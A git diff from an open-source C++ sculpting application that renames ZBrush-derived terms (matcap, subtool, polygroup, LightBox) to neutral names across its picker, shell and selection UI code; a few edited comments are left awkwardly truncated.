+ // Opened with Ctrl (mask brushes) or Ctrl+Shift (selection brushes) held: App::HeldBrush.
int held = 0;
std::string typed; // brush picker: letters typed so far
// Material hover preview: the material to go back to.
bool previewing = false;
- int savedMatcap = -1;
+ int savedLitSphere = -1;
// Draw Size / Z Intensity / RGB Intensity / Focal Shift at the cursor.
int slider = -1; // PickerUi::Slider, -1 = closed
bool sliderSmooth = false; // Z Intensity of the Smooth brush (Shift was held)
@@ -142,7 +142,7 @@ void sectionHeader(const char* text) {
ImGui::PopStyleColor();
}
-// Hover "Quick Info": a large thumbnail and the description, as ZBrush shows for palette items.
+// Hover "Quick Info": a large thumbnail and the description shows for palette items.
void quickInfo(ImTextureID tex, const char* glyph, const std::string& title, const std::string& text,
const std::string& footer = {}) {
if (!ImGui::IsItemHovered(ImGuiHoveredFlags_DelayShort | ImGuiHoveredFlags_NoSharedDelay) ||
@@ -304,7 +304,7 @@ void AssetTileHoverGlow() {
Glow& g = glow();
if (g.frame != ImGui::GetFrameCount() || !g.tex || ImGui::IsPopupOpen(nullptr, ImGuiPopupFlags_AnyPopupId)) return;
if (ImGui::IsMouseDragging(ImGuiMouseButton_Left)) return;
- // ZBrush's thumbnail glow: the hovered thumbnail pops out at 1.5x.
+ // the classic thumbnail glow: the hovered thumbnail pops out at 1.5x.
const float s = g.rect.GetWidth() * 1.5f;
const ImVec2 c = g.rect.GetCenter();
const ImGuiViewport* vp = ImGui::GetMainViewport();
@@ -382,9 +382,9 @@ const char* brushTypeDescription(int type) {
return "Presses the surface onto a plane, levelling hills and valleys.";
case BrushType::Pinch:
return "Pulls the surface toward the stroke, sharpening edges and creases.";
- case BrushType::DamStandard:
+ case BrushType::SharpCrease:
return "A sharp V-shaped crease with the sides pinched in, for wrinkles and folds.";
- case BrushType::ClayBuildup:
+ case BrushType::ClayBlock:
return "Square, flat-topped clay strokes that stack up quickly, for bold blocking.";
case BrushType::SnakeHook:
return "Pulls the surface out along the stroke into horns, tentacles and spikes.";
@@ -469,7 +469,7 @@ std::vector<BrushItem> PickerUi::brushItems(App& app, bool libraryFiles) {
items.push_back(std::move(b));
}
if (libraryFiles && !app.library_.user.empty()) {
- // .sfbrush files in the LightBox library that aren't loaded yet.
+ // .sfbrush files in the Library library that aren't loaded yet.
const std::string dir = app.library_.user + "/Brushes";
if (const auto* files = app.libraryScanner_.get(dir, "brush", [](const std::string& p) {
return isBrushFile(p) ? AssetKind::BrushFile : AssetKind::Folder;
@@ -914,57 +914,57 @@ void drawMaterialGrid(App& app, GridMode mode) {
const int columns = columnsFor(tile, mode);
int column = 0;
int hovered = -2;
- const int active = s.previewing ? s.savedMatcap : app.renderSettings_.matcap;
- app.materialListShown(); // just opened: pick up images added to the MatCaps folder meanwhile
- for (int k = 0; k <= matcapCount(); ++k) {
- const int i = k < matcapCount() ? matcapInListOrder(k) : -1; // the MatCaps (the default first), then Studio
- if (i >= 0 && !isMatcapListed(i)) continue; // removed
+ const int active = s.previewing ? s.savedLitSphere : app.renderSettings_.litsphere;
+ app.materialListShown(); // just opened: pick up images added to the Lit Spheres folder meanwhile
+ for (int k = 0; k <= litsphereCount(); ++k) {
+ const int i = k < litsphereCount() ? litsphereInListOrder(k) : -1; // the Lit Spheres (the default first), then Studio
+ if (i >= 0 && !isLitSphereListed(i)) continue; // removed
tileGrid(column, columns);
- const char* name = i < 0 ? "Studio" : matcapName(i);
+ const char* name = i < 0 ? "Studio" : litsphereName(i);
const ImTextureID tex = app.thumbs_.material(i);
if (AssetTile((std::string(name) + "##mat").c_str(), tex, ICON_LC_SUN, name, tile, active == i)) {
s.previewing = false;
- app.renderSettings_.matcap = s.savedMatcap = i; // runCommand below echoes it for scripts
+ app.renderSettings_.litsphere = s.savedLitSphere = i; // runCommand below echoes it for scripts
app.runCommand("set_material", {{"name", std::string(i < 0 ? "studio" : name)}});
if (popup) closePicker();
}
if (ImGui::IsItemHovered()) hovered = i;
ui::HelpText(name, nullptr,
i < 0 ? "Soft studio lighting with cavity shading, in the Base colour."
- : i == defaultMatcap() ? "The default: a matte warm clay with a clear key light and a soft "
+ : i == defaultLitSphere() ? "The default: a matte warm clay with a clear key light and a soft "
"rim, so strokes read without glare."
: i == 0 ? "Made for sculpting: a strong key light, crisp highlights and deep cavities so "
"every stroke reads."
- : isCustomMatcap(i) ? "Your own Lit Sphere. Right-click to remove it."
+ : isCustomLitSphere(i) ? "Your own Lit Sphere. Right-click to remove it."
: "Lit Sphere material: the whole lit look in one image.",
"Material");
- if (isCustomMatcap(i) && ImGui::BeginPopupContextItem()) {
+ if (isCustomLitSphere(i) && ImGui::BeginPopupContextItem()) {
ImGui::TextDisabled("%s", name);
- if (const CustomMatcap* c = customMatcap(i); c && !c->path.empty()) { // the file name; the folder is long
+ if (const CustomLitSphere* c = customLitSphere(i); c && !c->path.empty()) { // the file name; the folder is long
const std::u8string file = std::filesystem::path(std::u8string(c->path.begin(), c->path.end())).filename().u8string();
ImGui::TextDisabled("%s", reinterpret_cast<const char*>(file.c_str()));
}
ImGui::Separator();
- if (ImGui::MenuItem("Remove##matcap")) {
+ if (ImGui::MenuItem("Remove##litsphere")) {
if (popup && s.previewing) { // put the real material back before it can go
- app.renderSettings_.matcap = s.savedMatcap;
+ app.renderSettings_.litsphere = s.savedLitSphere;
s.previewing = false;
}
- app.runCommand("remove_matcap", {{"name", std::string(name)}});
+ app.runCommand("remove_litsphere", {{"name", std::string(name)}});
}
ImGui::EndPopup();
}
}
- // ZBrush's "Preview Material On Mesh": hovering a material shows it on the model until the pointer leaves.
+ // the classic "Preview Material On Mesh": hovering a material shows it on the model until the pointer leaves.
if (popup && st().open) {
if (hovered >= -1) {
if (!s.previewing) {
s.previewing = true;
- s.savedMatcap = app.renderSettings_.matcap;
+ s.savedLitSphere = app.renderSettings_.litsphere;
}
- app.renderSettings_.matcap = hovered;
+ app.renderSettings_.litsphere = hovered;
} else if (s.previewing) {
- app.renderSettings_.matcap = s.savedMatcap;
+ app.renderSettings_.litsphere = s.savedLitSphere;
s.previewing = false;
}
}
@@ -1008,7 +1008,7 @@ bool pickerOpen() { return st().open || st().slider >= 0; }
void PickerUi::sizePopup(App& app, Slider which) {
State& s = st();
s.slider = int(which);
- // Smooth's own Intensity when Smooth is the brush or (ZBrush) Shift is held. Not Shift in the Blender style:
+ // Smooth's own Intensity when Smooth is the brush or Shift is held. Not Shift in the Blender style:
// there Shift+F is the brush's Strength, as in Blender, and Shift has no smoothing meaning for a key.
s.sliderSmooth = app.blenderStyle() ? app.brush_ == BrushType::Smooth : app.activeBrush() == BrushType::Smooth;
// The brush cursor's own position (SDL's window coordinates, the brush ring's centre) rather than ImGui's
@@ -1108,7 +1108,7 @@ void drawPickers(App& app) {
}
}
if (!s.open && s.previewing) { // closed without picking: put the material back
- app.renderSettings_.matcap = s.savedMatcap;
+ app.renderSettings_.litsphere = s.savedLitSphere;
s.previewing = false;
}
@@ -1116,7 +1116,7 @@ void drawPickers(App& app) {
if (s.slider >= 0) {
ImGui::SetNextFrameWantCaptureKeyboard(true);
const auto which = PickerUi::Slider(s.slider);
- // The value as shown: Draw Size in pixels, the intensities 0-100 and Focal Shift -100..100, as in ZBrush.
+ // The value as shown: Draw Size in pixels, the intensities 0-100 and Focal Shift -100..100.
struct Def {
const char* name;
const char* key;
@@ -1147,7 +1147,7 @@ void drawPickers(App& app) {
"inner ring of the cursor shows it.",
&app.focalShift_, -1.0f, 1.0f, 100.0f};
const float w = 200.0f * app.uiScale_;
- // As in ZBrush the knob (the current value) opens right under the cursor, so pressing there drags it. The
+ // As the knob (the current value) opens right under the cursor, so pressing there drags it. The
// first frame (hidden while the window sizes itself) measures where the knob is; the window then stays put.
if (!s.sliderPlaced) s.sliderPos = ImVec2(s.sliderAt.x - w * 0.5f, s.sliderAt.y - ImGui::GetFrameHeight() * 0.5f);
ImGui::SetNextWindowPos(s.sliderPos, ImGuiCond_Always);
@@ -1175,7 +1175,7 @@ void drawPickers(App& app) {
if (ImGui::IsKeyPressed(ImGuiKey_Enter) || ImGui::IsKeyPressed(ImGuiKey_KeypadEnter)) {
if (!s.sliderTyped.empty()) {
float v = std::strtof(s.sliderTyped.c_str(), nullptr);
- // Intensities: 0-100 as in ZBrush (a fraction up to 1 still works).
+ // Intensities: 0-100 (a fraction up to 1 still works).
if (which == PickerUi::Slider::ZIntensity || which == PickerUi::Slider::RgbIntensity)
v = v > 1.0f ? v / 100.0f : v;
else if (which == PickerUi::Slider::FocalShift)
@@ -1222,7 +1222,7 @@ void drawPickers(App& app) {
if (dragging)
s.sliderWasActive = true;
else if (s.sliderWasActive)
- close = true; // closes on release, as in ZBrush
+ close = true; // closes on release, as
// A click elsewhere closes it. (The press that grabs the knob is not one: ImGui reports the window as not
// hovered while its own slider is active, and that used to close the slider as soon as it was dragged, #9.)
const bool clicked =
@@ -1371,7 +1371,7 @@ void App::drawColorWidget(float width) {
ImGui::EndGroup();
ui::HelpText("Colour", "C", "The vertex paint colour (C over the model picks one).", "Left shelf");
- // Two swatches, like ZBrush's main and secondary colour: clicking either swaps them ("Alternate"). Equal halves of
+ // Two swatches main and secondary colour: clicking either swaps them ("Alternate"). Equal halves of
// the column, main on the left, the same gap as between the square and the strip.
const float swH = kSwatchH * s;
const float mainW = std::floor((width - gap) * 0.5f), secondW = width - gap - mainW;
diff --git a/src/app/Pickers.h b/src/app/Pickers.h
index 5751dc49..2b1834e7 100644
--- a/src/app/Pickers.h
+++ b/src/app/Pickers.h
@@ -1,9 +1,9 @@
// SculptForge - open source digital sculpting
// SPDX-License-Identifier: GPL-3.0-or-later
//
-// ZBrush-style pop-up pickers: brush grid (B; type letters to choose), stroke,
+// classic pop-up pickers: brush grid (B; type letters to choose), stroke,
// alpha and material (M) grids, and the Draw Size / Strength sliders at the
-// cursor (S / I). Also the thumbnail tile every grid and the LightBox draw.
+// cursor (S / I). Also the thumbnail tile every grid and the Library draw.
#pragma once
#include <imgui.h>
@@ -35,7 +35,7 @@ void drawStrokeGrid(App& app, GridMode mode);
// brush the brush. The Alpha picker shows them first while the VDM brush is the brush.
void drawVdmGrid(App& app, GridMode mode);
-// One brush of the picker, the LightBox Brush tab and the shelves.
+// One brush of the picker, the Library Brush tab and the shelves.
struct BrushItem {
enum class Kind { Type, Paint, Recipe, File, Guides } kind = Kind::Type; // Guides: QRemesh Guides (PanelRetopo.cpp)
int index = -1; // BrushType (Type) or doc.brushes index (Recipe)
@@ -46,13 +46,13 @@ struct BrushItem {
std::string id() const; // stable across frames: "type:Clay", "recipe:Dragon Scales", "file:<path>"
};
-// Shared by the pickers, the LightBox and (through ui ids) the shelves; they read App internals.
+// Shared by the pickers, the Library and (through ui ids) the shelves; they read App internals.
struct PickerUi {
static std::vector<BrushItem> brushItems(App& app, bool libraryFiles);
static bool isActive(const App& app, const BrushItem& item);
static void select(App& app, const BrushItem& item);
static ImTextureID thumbnail(App& app, const BrushItem& item);
- // Opens a slider under the mouse (ZBrush S / U / I / O): Draw Size, Z Intensity (Smooth's own while Shift is
+ // Opens a slider under the mouse (S / U / I / O): Draw Size, Z Intensity (Smooth's own while Shift is
// held or Smooth is the brush), RGB Intensity or Focal Shift.
enum class Slider { DrawSize, ZIntensity, RgbIntensity, FocalShift };
static void sizePopup(App& app, Slider which);
diff --git a/src/app/Precision.cpp b/src/app/Precision.cpp
index 8e3ce11c..08ec7551 100644
--- a/src/app/Precision.cpp
+++ b/src/app/Precision.cpp
@@ -21,7 +21,7 @@
namespace sf {
// Shift+Alt, the keyboard's own (not a style's mapping): free mid-stroke in every input style. At the press it
-// stays what it was (ZBrush: select and frame a Part; Blender: Alt+left navigates), so it is held once drawing.
+// stays what it was (select and frame a Part; Blender: Alt+left navigates), so it is held once drawing.
bool App::precisionHeld() const {
const SDL_Keymod keys = SDL_GetModState();
return (keys & SDL_KMOD_SHIFT) && (keys & SDL_KMOD_ALT) && !(keys & (SDL_KMOD_CTRL | SDL_KMOD_GUI));
diff --git a/src/app/ProofMode.cpp b/src/app/ProofMode.cpp
index 1be2915e..6d0eacd5 100644
--- a/src/app/ProofMode.cpp
+++ b/src/app/ProofMode.cpp
@@ -776,7 +776,7 @@ void App::proofBeforeSwap(int fbW, int fbH) {
break;
}
if (p.sizeIndex == 0 && p.results.empty()) {
- if (lightbox_.open()) lightbox_.toggle(); // the canvas clear (it opens at start-up)
+ if (libraryBrowser_.open()) libraryBrowser_.toggle(); // the canvas clear (it opens at start-up)
if (!p.vsync) SDL_GL_SetSwapInterval(0);
p.gpu = std::string(reinterpret_cast<const char*>(gl::GetString(GL_RENDERER))) + ", OpenGL " +
reinterpret_cast<const char*>(gl::GetString(GL_VERSION));
diff --git a/src/app/RadialMenu.cpp b/src/app/RadialMenu.cpp
index c4318f7f..63cf183e 100644
--- a/src/app/RadialMenu.cpp
+++ b/src/app/RadialMenu.cpp
@@ -74,9 +74,9 @@ std::vector<RadialMenu> App::defaultRadialMenus() {
RadialMenu masking;
masking.name = "Masking";
for (const char* id : {"mask.invert", "mask.lasso", "mask.clear", "mask.rect", "mask.all", "mask.pen",
- "view.mask", "polygroup.group_masked"})
+ "view.mask", "facegroup.group_masked"})
masking.slots.push_back({id, std::string_view(id) == "view.mask" ? "View Mask" : "", ""}); // (its own: "Mask")
- // The stroke types on one ring (U13, as 3D-Coat's stroke pop-up; single ring, as every radial menu here).
+ // The stroke types on one ring (U13; single ring, as every radial menu here).
RadialMenu strokes;
strokes.name = "Strokes";
for (const char* id : {"stroke.type.dots", "stroke.type.drag_stamp", "stroke.type.slide_stamp", "stroke.type.spray",
diff --git a/src/app/Selection.cpp b/src/app/Selection.cpp
index e6b75d04..a5b900b2 100644
--- a/src/app/Selection.cpp
+++ b/src/app/Selection.cpp
@@ -2,7 +2,7 @@
// SPDX-License-Identifier: GPL-3.0-or-later
//
// Screen selections: the rectangle and lasso drags shared by visibility
-// (Ctrl+Shift, see PanelPolygroups.cpp) and masking (Ctrl with MaskLasso or
+// (Ctrl+Shift, see PanelFace groups.cpp) and masking (Ctrl with MaskLasso or
// MaskRect, see PanelMasking.cpp). This file tracks and draws the shape; the
// panels decide what a click or a finished drag does. The selection itself
// runs as hide_rect / hide_lasso / mask_rect / mask_lasso commands with the
@@ -76,7 +76,7 @@ void App::selectionMouseUp() {
if (isCutShape(selectShape_))
cutMouseUp(); // PanelCut.cpp
else if (selectTarget_ == SelectTarget::Hide)
- polygroupMouseUp();
+ facegroupMouseUp();
else
maskSelectMouseUp();
selectPath_.clear();
diff --git a/src/app/Shell.cpp b/src/app/Shell.cpp
index bf9b52a5..cc111e38 100644
--- a/src/app/Shell.cpp
+++ b/src/app/Shell.cpp
@@ -1,7 +1,7 @@
// SculptForge - open source digital sculpting
// SPDX-License-Identifier: GPL-3.0-or-later
//
-// The ZBrush-style shell (docs/ui-design.md §2, §3, §9): title strip, the
+// The classic shell (docs/ui-design.md §2, §3, §9): title strip, the
// alphabetical palette bar with its drop-downs, the four shelves around the
// canvas, the left and right trays with their dividers, customize-mode drag
// and drop, layout presets, and the actions behind all of it.
@@ -14,8 +14,8 @@
#include "app/LookSchemes.h"
#include "app/Ui.h"
#include "app/I18n.h"
-#include "core/Matcap.h"
-#include "core/Polypaint.h"
+#include "core/LitSphere.h"
+#include "core/VertexPaint.h"
#include "core/Texture.h"
#include <IconsLucide.h>
@@ -154,7 +154,7 @@ void drawBrushIcon(ImDrawList* dl, ImVec2 c, float r, int type) {
const float w = std::max(1.5f, r * 0.11f);
switch (BrushType(type)) {
case BrushType::Crease:
- case BrushType::DamStandard: // a groove: dark line with a lit lower lip
+ case BrushType::SharpCrease: // a groove: dark line with a lit lower lip
curve(0.0f, lo, w);
curve(w * 0.9f, hi, w * 0.5f);
break;
@@ -241,7 +241,7 @@ bool segmentPair(const std::string& a, const std::string& b) {
auto group = [](const std::string& id) {
if (id == "draw.sculpt" || id == "draw.paint") return 1;
if (id == "tool.draw" || id == "tool.move" || id == "tool.scale" || id == "tool.rotate") return 5;
- if (id == "draw.zadd" || id == "draw.zsub") return 2;
+ if (id == "draw.raise" || id == "draw.lower") return 2;
if (id.rfind("transform.symmetry_", 0) == 0) return 3;
if (id.rfind("draw.pressure_", 0) == 0) return 4;
return 0;
@@ -321,7 +321,7 @@ bool drawShelfTile(App& app, const Action& a, ImVec2 size) {
centredText(dl, app.fontIcons_, q0, q1, theme::u32(on ? theme::accent : theme::text, alpha), a.icon ? a.icon : "?");
}
if (on) dl->AddRect(p0, p1, theme::u32(theme::accent), theme::rounding(4.0f * s), 0, 2.0f * s);
- // The hotkey digit (1-9, 0) in the corner, as ZBrush shows brush shortcuts.
+ // The hotkey digit (1-9, 0) in the corner shows brush shortcuts.
const std::string key = app.actions().shortcutText(a.id);
if (key.size() == 1 && caption)
dl->AddText(caption, caption->FontSize, ImVec2(p0.x + 3 * s, p0.y + 1 * s), theme::u32(theme::textDim), key.c_str());
@@ -402,9 +402,9 @@ void App::registerShellActions() {
add({"draw.paint", "Paint", ICON_LC_PAINTBRUSH,
"Paint colour without sculpting. Alt paints back to white, Shift still smooths.",
"Draw", "P", "", [this] { paintMode_ = !paintMode_; }, [this] { return paintMode_; }, nullptr});
- add({"draw.zadd", "Add", nullptr, "Brushes add to the surface. Hold Alt to subtract for one stroke.", "Draw", "", "",
+ add({"draw.raise", "Add", nullptr, "Brushes add to the surface. Hold Alt to subtract for one stroke.", "Draw", "", "",
[this] { invertToggle_ = false; }, [this] { return !invertToggle_; }, nullptr});
- add({"draw.zsub", "Sub", nullptr, "Brushes subtract from the surface. Hold Alt to add for one stroke.", "Draw", "", "",
+ add({"draw.lower", "Sub", nullptr, "Brushes subtract from the surface. Hold Alt to add for one stroke.", "Draw", "", "",
[this] { invertToggle_ = true; }, [this] { return invertToggle_; }, nullptr});
flag("draw.rgb", "Rgb", nullptr, "Draw", "", &paintRgb_, "Sculpt brushes also paint the colour.");
flag("draw.front_faces", "Front", nullptr, "Brush", "", &frontFacesOnly_,
@@ -424,7 +424,7 @@ void App::registerShellActions() {
"under the brush become triangles and UVs are dropped (Undo brings them back).",
"Draw", "", "dyntopo", [this] { setDynamic(!doc_.sculptor.dyntopo.enabled); },
[this] { return doc_.sculptor.dyntopo.enabled; }, nullptr});
- // Masking and visibility selection shapes (Tool > Masking, Tool > Visibility), named as in ZBrush.
+ // Masking and visibility selection shapes (Tool > Masking, Tool > Visibility), named.
auto shape = [this](std::string id, std::string label, std::string palette, SelectShape* target, SelectShape value,
std::string description) {
actions_.add({std::move(id), std::move(label), nullptr, std::move(description), std::move(palette), "", "",
@@ -495,7 +495,7 @@ void App::registerShellActions() {
[this] { camera_.frame(sceneBounds()); }, nullptr, nullptr});
flag("view.polyf", "Wire", ICON_LC_GRID_3X3, "Render", "", &renderSettings_.wireframe,
"Wireframe: show the polygons of the active Part (Shift+F).");
- flag("view.polygroups", "Groups", ICON_LC_SHAPES, "Render", "", &renderSettings_.showPolygroups,
+ flag("view.facegroups", "Groups", ICON_LC_SHAPES, "Render", "", &renderSettings_.showFaceGroups,
"Colour each face group of the active Part.");
flag("view.mask", "Mask", ICON_LC_DROPLET, "Render", "", &renderSettings_.showMask,
"Show or hide the mask (masked areas drawn darker). Hiding it keeps the mask: masked areas stay protected "
@@ -508,9 +508,9 @@ void App::registerShellActions() {
};
actions_.add(std::move(a));
}
- flag("view.polypaint", "Paint", ICON_LC_PALETTE, "Render", "", &renderSettings_.showPolypaint,
+ flag("view.vertexpaint", "Paint", ICON_LC_PALETTE, "Render", "", &renderSettings_.showVertexPaint,
"Show vertex paint colours (off: plain material).");
- // Shading (Material palette, Tool > Display): the scene's, and the active SubTool's own.
+ // Shading (Material palette, Tool > Display): the scene's, and the active Part's own.
// Viewport shading (Material > Viewport Shading): Lit Sphere or PBR.
add({"view.shading_lit_sphere", "Lit Sphere", nullptr,
"Lit Sphere shading (the default): the chosen material sphere or the studio lights, made for reading forms "
@@ -545,16 +545,16 @@ void App::registerShellActions() {
"Preferences > Display", "", "set_background",
[this] { runCommand("set_background", {{"mode", std::string("flat")}}); },
[this] { return !renderSettings_.gradientBackground; }, nullptr});
- auto subtoolShading = [this, &add](const char* id, const char* label, Shading mode, const char* description) {
- add({id, label, nullptr, description, "Material > This Part", "", "subtool_shading",
- [this, mode] { runCommand("subtool_shading", {{"mode", std::string(shadingName(mode))}}); },
- [this, mode] { return doc_.activeSubtoolInfo().shading == mode; }, nullptr});
+ auto partShading = [this, &add](const char* id, const char* label, Shading mode, const char* description) {
+ add({id, label, nullptr, description, "Material > This Part", "", "part_shading",
+ [this, mode] { runCommand("part_shading", {{"mode", std::string(shadingName(mode))}}); },
+ [this, mode] { return doc_.activePartInfo().shading == mode; }, nullptr});
};
- subtoolShading("subtool.shading_default", "Scene", Shading::Default,
+ partShading("part.shading_default", "Scene", Shading::Default,
"The active Part follows the scene's shading (Smooth | Flat above).");
- subtoolShading("subtool.shading_smooth", "Smooth", Shading::Smooth,
+ partShading("part.shading_smooth", "Smooth", Shading::Smooth,
"The active Part always shades smooth, whatever the scene's shading. Saved in the project.");
- subtoolShading("subtool.shading_flat", "Flat", Shading::Flat,
+ partShading("part.shading_flat", "Flat", Shading::Flat,
"The active Part always shades flat (faceted), whatever the scene's shading. Saved in the project.");
flag("view.mesh", "Show Mesh", ICON_LC_BOX, "Render", "", &renderSettings_.showMesh, "Draw the sculpt.");
add({"view.fullscreen", "Fullscreen", ICON_LC_MAXIMIZE, "Fill the screen with SculptForge (again: back to a window).",
@@ -564,14 +564,14 @@ void App::registerShellActions() {
add({"view.splats", "Splats", ICON_LC_SPARKLE, "Show the Gaussian splat capture.", "Render", "", "",
[this] { renderSettings_.showSplats = !renderSettings_.showSplats; },
[this] { return renderSettings_.showSplats; }, [this] { return !doc_.splats.empty(); }});
- add({"subtool.solo", "Solo", ICON_LC_SCAN_EYE, "Show only the active Part (again: show the others).",
- "Tool > Parts", "", "subtool_solo", [this] { runCommand("subtool_solo"); },
+ add({"part.solo", "Solo", ICON_LC_SCAN_EYE, "Show only the active Part (again: show the others).",
+ "Tool > Parts", "", "part_solo", [this] { runCommand("part_solo"); },
[this] {
int visible = 0;
- for (const auto& s : doc_.subtools) visible += s.visible ? 1 : 0;
- return doc_.subtoolCount() > 1 && visible == 1 && doc_.activeSubtoolInfo().visible;
+ for (const auto& s : doc_.parts) visible += s.visible ? 1 : 0;
+ return doc_.partCount() > 1 && visible == 1 && doc_.activePartInfo().visible;
},
- [this] { return doc_.subtoolCount() > 1; }});
+ [this] { return doc_.partCount() > 1; }});
add({"nav.move", "Move", ICON_LC_HAND, "Drag on this button to pan the view (or Alt+drag the background).",
"Transform", "", "", nullptr, nullptr, nullptr});
add({"nav.zoom", "Zoom", ICON_LC_ZOOM_IN, "Drag up and down on this button to zoom (or use the mouse wheel).",
@@ -586,7 +586,7 @@ void App::registerShellActions() {
{"Models", "obj;fbx;glb;gltf;ply;stl;" SF_BRIDGE_MESH_EXTS ";usda;usd;usdz"}, {"All files", "*"}};
SDL_ShowOpenFileDialog(
[](void* user, const char* const* files, int) {
- if (files && files[0]) static_cast<App*>(user)->queueFile(FileAction::AppendSubtool, files[0]);
+ if (files && files[0]) static_cast<App*>(user)->queueFile(FileAction::AppendPart, files[0]);
},
this, window_, filters, 2, nullptr, false);
},
@@ -665,7 +665,7 @@ void App::registerShellActions() {
"Menus by task (File, Edit, Sculpt, Paint, Mesh, View, Render, Help), a status bar and a one-row tool shelf.",
"Preferences > Interface > Look", "", "", [this] { setShellLayout(1); lookDirty_ = true; },
[this] { return uiPrefs_.shellLayout == 1; }, nullptr});
- add({"ui.layout.zbrush", "Classic layout", ICON_LC_LAYOUT_TEMPLATE,
+ add({"ui.layout.classic", "Classic layout", ICON_LC_LAYOUT_TEMPLATE,
"The alphabetical palette bar and the two-row top shelf, as experienced sculptors expect.", "Preferences > Interface > Look", "",
"", [this] { setShellLayout(0); lookDirty_ = true; }, [this] { return uiPrefs_.shellLayout == 0; }, nullptr});
commands_.add({"ui_look",
@@ -708,7 +708,7 @@ void App::registerShellActions() {
l.outlineOpacity = std::clamp(float(argNumber(a, "outline_opacity", 100.0)) / 100.0f, 0.0f, 1.0f);
if (a.contains("layout")) {
const std::string k = argString(a, "layout");
- if (k != "sculptforge" && k != "classic" && k != "zbrush") return {false, "layout must be sculptforge or classic"};
+ if (k != "sculptforge" && k != "classic") return {false, "layout must be sculptforge or classic"};
layoutKind = k == "sculptforge" ? 1 : 0;
}
setShellLayout(layoutKind);
@@ -833,10 +833,10 @@ void App::applyPreset(int preset) {
l.customize = layout_.customize;
l.consoleOpen = layout_.consoleOpen;
l.consoleHeight = layout_.consoleHeight;
- l.lightboxOpen = layout_.lightboxOpen;
- l.lightboxRows = layout_.lightboxRows;
- l.lightboxTab = layout_.lightboxTab;
- l.lightboxBottom = layout_.lightboxBottom;
+ l.libraryOpen = layout_.libraryOpen;
+ l.libraryRows = layout_.libraryRows;
+ l.libraryTab = layout_.libraryTab;
+ l.libraryBottom = layout_.libraryBottom;
l.leftHanded = layout_.leftHanded;
static const char* const kNames[] = {"Standard", "Sculpt", "Wide"};
if (preset == 1) {
@@ -986,7 +986,7 @@ void App::drawTitleStrip(const ShellGeometry& g) {
auto buttonW = [&](const char* label) { return ImGui::CalcTextSize(label, nullptr, true).x + st.FramePadding.x * 2.0f; };
const bool quickSave = actions_.find("file.quicksave") != nullptr;
const float searchW = 150.0f * s;
- const float windowButtonW = buttonH + 6.0f * s; // minimise and close, at the far right like ZBrush's
+ const float windowButtonW = buttonH + 6.0f * s; // minimise and close, at the far right
float rightW = searchW + buttonW(tr(ICON_LC_MENU " Menus")) + 3.0f * (buttonH + 2.0f * s) + 18.0f * s +
10.0f * s + 2.0f * windowButtonW + 2.0f * s;
if (quickSave) rightW += buttonW(tr("Save Snapshot")) + 8.0f * s;
@@ -998,14 +998,14 @@ void App::drawTitleStrip(const ShellGeometry& g) {
if (fontSmall_) ImGui::PushFont(fontSmall_);
ImGui::SetCursorPosY(std::floor((h - ImGui::GetTextLineHeight()) * 0.5f));
size_t tris = 0, verts = 0;
- for (int i = 0; i < doc_.subtoolCount(); ++i) {
- tris += doc_.subtoolMesh(i).triangleCount();
- verts += doc_.subtoolMesh(i).vertexCount();
+ for (int i = 0; i < doc_.partCount(); ++i) {
+ tris += doc_.partMesh(i).triangleCount();
+ verts += doc_.partMesh(i).vertexCount();
}
char info[256];
std::snprintf(info, sizeof info, tr("Verts %s Tris %s Part %s (%d/%d) Layer %s%s%s"),
- shortCount(verts).c_str(), shortCount(tris).c_str(), doc_.activeSubtoolInfo().name.c_str(),
- doc_.activeSubtool + 1, doc_.subtoolCount(),
+ shortCount(verts).c_str(), shortCount(tris).c_str(), doc_.activePartInfo().name.c_str(),
+ doc_.activePart + 1, doc_.partCount(),
doc_.activeLayer >= 0 && doc_.activeLayer < int(doc_.mesh.layers.size())
? doc_.mesh.layers[size_t(doc_.activeLayer)].name.c_str()
: tr("Base"),
@@ -1123,7 +1123,7 @@ void App::drawPaletteBar(const ShellGeometry& g) {
int count = 0;
const PaletteDef* list = palettes(count);
// File and Edit first and Help last, where every other desktop app has them, the rest A to Z in between.
- // ZBrush purists can switch to strict alphabetical order in Preferences > Interface.
+ // classic purists can switch to strict alphabetical order in Preferences > Interface.
std::vector<int> order;
if (!uiPrefs_.alphabeticalPalettes)
for (const char* first : {"file", "edit"})
@@ -1200,10 +1200,10 @@ void App::setShellLayout(int layoutKind) {
l.openSubpalettes = layout_.openSubpalettes;
l.consoleOpen = layout_.consoleOpen;
l.consoleHeight = layout_.consoleHeight;
- l.lightboxOpen = layout_.lightboxOpen;
- l.lightboxRows = layout_.lightboxRows;
- l.lightboxTab = layout_.lightboxTab;
- l.lightboxBottom = layout_.lightboxBottom;
+ l.libraryOpen = layout_.libraryOpen;
+ l.libraryRows = layout_.libraryRows;
+ l.libraryTab = layout_.libraryTab;
+ l.libraryBottom = layout_.libraryBottom;
l.leftHanded = layout_.leftHanded;
l.shelfTiles = layout_.shelfTiles;
layout_ = std::move(l);
@@ -1437,7 +1437,7 @@ void App::drawStatusBar(const ShellGeometry& g) {
if (doc_.dirty()) name += " *";
mods.push_back({ICON_LC_FILE, "file", name});
size_t tris = 0;
- for (int i = 0; i < doc_.subtoolCount(); ++i) tris += doc_.subtoolMesh(i).triangleCount();
+ for (int i = 0; i < doc_.partCount(); ++i) tris += doc_.partMesh(i).triangleCount();
mods.push_back({ICON_LC_TRIANGLE, "tris", shortCount(tris)});
if (ImGui::GetTime() - fpsShownAt_ > 0.5 || fpsShown_ < 0.0f) {
fpsShown_ = ImGui::GetIO().Framerate;
@@ -1542,7 +1542,7 @@ void App::drawStatusBar(const ShellGeometry& g) {
ui::HelpAction(*this, id.c_str());
}
- // Search: opens the command palette (F3), which also finds every palette of the ZBrush-style layout.
+ // Search: opens the command palette (F3), which also finds every palette of the Classic layout.
{
ImGui::SetCursorScreenPos(ImVec2(searchX, o.y + (h - buttonH) * 0.5f));
const bool clicked = ImGui::InvisibleButton("##search", ImVec2(searchW, buttonH));
@@ -2095,18 +2095,18 @@ void App::drawShelfItem(int shelf, int index, const std::string& item, bool vert
ImGui::PopStyleVar();
} else if (item == "widget.points") {
size_t total = 0;
- uint64_t key = doc_.undo.revision() * 0x9E3779B97F4A7C15ull ^ uint64_t(doc_.activeSubtool) ^
+ uint64_t key = doc_.undo.revision() * 0x9E3779B97F4A7C15ull ^ uint64_t(doc_.activePart) ^
(uint64_t(reinterpret_cast<uintptr_t>(doc_.mesh.hidden.data())) << 1);
- for (int i = 0; i < doc_.subtoolCount(); ++i) {
- total += doc_.subtoolMesh(i).triangleCount();
